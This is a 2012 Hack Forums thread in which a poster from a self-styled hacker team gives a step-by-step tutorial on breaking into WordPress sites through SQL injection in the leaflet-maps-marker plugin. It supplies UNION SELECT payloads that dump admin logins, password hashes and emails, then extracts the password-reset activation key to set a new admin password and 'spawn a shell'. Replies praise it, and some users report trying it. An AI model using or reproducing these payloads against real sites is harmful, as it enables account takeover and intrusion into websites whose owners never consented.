Hack Forums
[TUT] A new way to inject site that use Wordpress Script [GHT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [TUT] A new way to inject site that use Wordpress Script [GHT] (/showthread.php?tid=2817808)

Pages: Pages 1 2 3 4

[TUT] A new way to inject site that use Wordpress Script [GHT] - BlackRoas - Aug 28, 2012

Hi HF user !

this thread come to you by ☆¸.•*☆ :: Gaza Hacker Team [ GHT ] and [ GHI ] :: ☆*•.¸☆

Today I'll show you How to inject site - word press - And enter to admin panel in Seconds .

lets say we have this vuln site :

PHP Code

<?php 
www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=1 

and let's say We extracted column number and admin data [ user and passwors ] by sqli .

PHP Code

<?php 
www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-1 Union Select 1,(select(@) from (select (@:=0x00),(select (@) from (wp_users) where (@) in (@:=concat(@,0x0a,user_login,0x3a,user_pass,0x3a,user_email))))a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 -- 

admin logo : michelsenweb
admin password : $P$BPXdeAk4qo6ndqQWUJfuRkMOCqi.bJ0

now this password is difficult to crack it

ok now i will show you Easy way to login into the admin panel

first we going to admin panel and press / Lost your password? \

PHP Code

<?php 
www.site.com/wp-login.php 

Spoiler (Click to View)

now we will put the admin user we found by injectin : michelsenweb .

Spoiler (Click to View)

like this

Spoiler (Click to View)

now we haven't the admin mail to receive a link to create a new password
or to get the activation key .

OK see what i will do !!!

now we will extracted user_activation_key by injection that we will use to grate new password

PHP Code

<?php 
www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-1 UNION SELECT 1,2,3,4,5,group_concat(user_login,0x3a,user_activation_key),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM wp_users 

Spoiler (Click to View)

now we have the user_activation_key to this admin user : michelsenweb

michelsenweb:ADpMtuhLWYbPSubvKwgx

now we will use this Query to grate new password

PHP Code

<?php 
www.site.com/wp-login.php?action=rp&key=user_activation_key&login=user_login 

replace : user_activation_key by ADpMtuhLWYbPSubvKwgx
replace : user_login by michelsenweb .

like this

PHP Code

<?php 
www.site.com/wp-login.php?action=rp&key=ADpMtuhLWYbPSubvKwgx&login=michelsenweb 

Spoiler (Click to View)

now we get this page to grate now password after we Makes
now password press Reset password

Spoiler (Click to View)

ok let's try to log into admin panel by our new password

Spoiler (Click to View)

aha we now in admin panel and now we can spawned shell

Spoiler (Click to View)

hope you learned something 👍

follow us and know last gaza hacker news

[img]http://gaza-images.net/?di=JXOO[/img]

* - ajkaro - Aug 28, 2012

Great tutorial as always from BlackRoas... :)

* - BlackRoas - Aug 28, 2012

(Aug 28, 2012 10:14 AM)ajkaro Wrote:  Great tutorial as always from BlackRoas... :)

thx my friend glad you like it

* - Jae‌ - Aug 28, 2012

Brilliant tutorial, I personally would not have thought about extracting
the activation key. Nice work, I can tell you put a lot of effort into this.

* - nirvana115 - Aug 28, 2012

Great tutorial and Nice work BlackRoas..:)

* - luchni - Aug 28, 2012

Nice tutorial, how long do you think will take them to patch that?

* - dddfdfdfdfd - Aug 28, 2012

when trying to extract tables in step 2 i get;

No input file specified.

is this because they don't have that plugin?

* - BlackRoas - Aug 28, 2012

thx all glad you like it ^_ ^

* - CrashBandicot - Aug 28, 2012

thank you for the great tutorial thanks AhBlackRose alias Injector-Boy ;)

* - p0pc0rn - Aug 28, 2012

one of the way to manipulate wordpress login :D
cool stuff bro.

* - BlackRoas - Aug 28, 2012

thanks my brother glad you like my tut :D

* - SmmHouse - Aug 28, 2012

Nice tutorial Boss. Will try it right now

* - root_zone666 - Aug 29, 2012

when i want to extract say this :
Error: a marker with the ID -1 does not exist!

* - xx 0x0 xx - Aug 29, 2012

lol very nice idea dude i really like it and i didn't think about activation key before

* - BlackRoas - Aug 29, 2012

thanks my friend glad you like my thread :D